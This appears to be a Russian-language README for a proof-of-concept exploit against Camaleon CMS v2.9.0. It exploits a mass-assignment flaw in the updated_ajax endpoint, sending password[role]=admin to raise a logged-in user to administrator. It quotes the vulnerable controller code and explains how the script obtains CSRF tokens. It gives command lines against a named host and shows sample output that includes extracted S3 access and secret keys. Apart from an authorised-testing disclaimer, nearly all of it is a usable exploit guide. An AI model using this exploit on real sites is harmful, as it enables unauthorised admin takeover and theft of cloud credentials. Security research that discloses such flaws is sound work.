
Аутентифицированное повышение привилегий в Camaleon CMS v2.9.0 через неправильную обработку параметров в конечной точке updated_ajax.
Цель: Camaleon CMS
v2.9.0
Тип: Аутентифицированное повышение привилегий через массовое присвоение вupdated_ajax(поле role)
Дополнительно: Опциональное извлечение конфигурации S3 со страницы настроек администратора (если аутентифицированный пользователь может получить к ней доступ после повышения)
Этот репозиторий содержит Python-скрипт доказательства концепции, который:
/admin/profile/edit.updated_ajax для обновления полей password[...] и использует permit! для установки password[role]=admin.-e) извлекает значения конфигурации S3 из /admin/settings/site.-r) возвращает роль обратно к исходному значению после выполнения.Это поведение соответствует небезопасному шаблону массового присвоения, описанному в соответствующем сообщении:
Действие контроллера ниже обновляет пользователя с помощью permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Поскольку permit! разрешает все ключи в password, атакующий может отправить:
password[password]password[password_confirmation]password[role]=adminи приложение примет это, повысив роль пользователя.
admin.requestsУстановка зависимости:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
Скрипт проверяет возвращаемый HTML на наличие ссылки /admin/logout после POST-запроса входа.
Если ссылка выхода присутствует, сессия считается аутентифицированной.
Camaleon использует CSRF в стиле Rails. Обычно токены можно увидеть в двух распространенных местах:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">PoC получает meta csrf-token из /admin/profile/edit и использует его в:
authenticity_token=<token>X-CSRF-Token: <token>Этот код предоставляется только для авторизованного тестирования безопасности и образовательных целей (например, лабораторные работы, CTF и среды, где у вас есть явное разрешение).
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
| Флаг | Описание |
|---|
-u, --url | Базовый URL (например, http://alienone.in) |
-U, --username | Действительное имя пользователя |
-P, --password | Действительный пароль |
--newpass | Значение пароля, отправляемое в запросе на обновление (по умолчанию: test) |
-e, --extract | Извлечь конфигурацию S3 со страницы настроек |
-r, --revert | Вернуть роль обратно к исходной после повышения |